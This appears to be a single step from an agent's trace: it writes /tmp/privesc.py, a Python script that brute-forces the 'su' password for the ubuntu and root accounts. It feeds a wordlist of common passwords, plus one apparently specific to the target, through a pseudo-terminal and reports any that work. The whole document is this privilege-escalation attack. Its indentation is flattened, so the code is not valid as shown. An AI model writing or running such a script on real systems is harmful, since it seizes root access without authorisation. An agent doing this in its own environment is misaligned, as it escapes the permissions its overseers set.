Edit: /tmp/privesc.py (989B)
#!/usr/bin/env python3
import pty,os,sys,select,time
cands=["vagrant","ubuntu","password","1234567","admin","root","changeme","nabawater","toor","123456","12345678","ubuntu123","P@ssw0rd"]
for user in ["ubuntu","root"]:
for p in cands:
pid,fd=pty.fork()
if pid==0:
os.execvp("su",["su",user,"-c","id"])
out=b""
sent=False
t0=time.time()
while time.time()-t0<4:
r,_,_=select.select([fd],[],[],0.3)
if r:
try: d=os.read(fd,4096)
except OSError: break
if not d: break
out+=d
if b"assword" in out and not sent:
os.write(fd,(p+"\n").encode()); sent=True
else:
if sent and b"uid=" in out: break
try: os.waitpid(pid,0)
except: pass
line=out.decode(errors="replace").replace("\r","")
if "uid=" in line and "denied" not in line and "incorrect" not in line.lower():
print("SUCCESS",user,p,line.strip().splitlines()[-1])
sys.exit(0)
print("no luck with wordlist")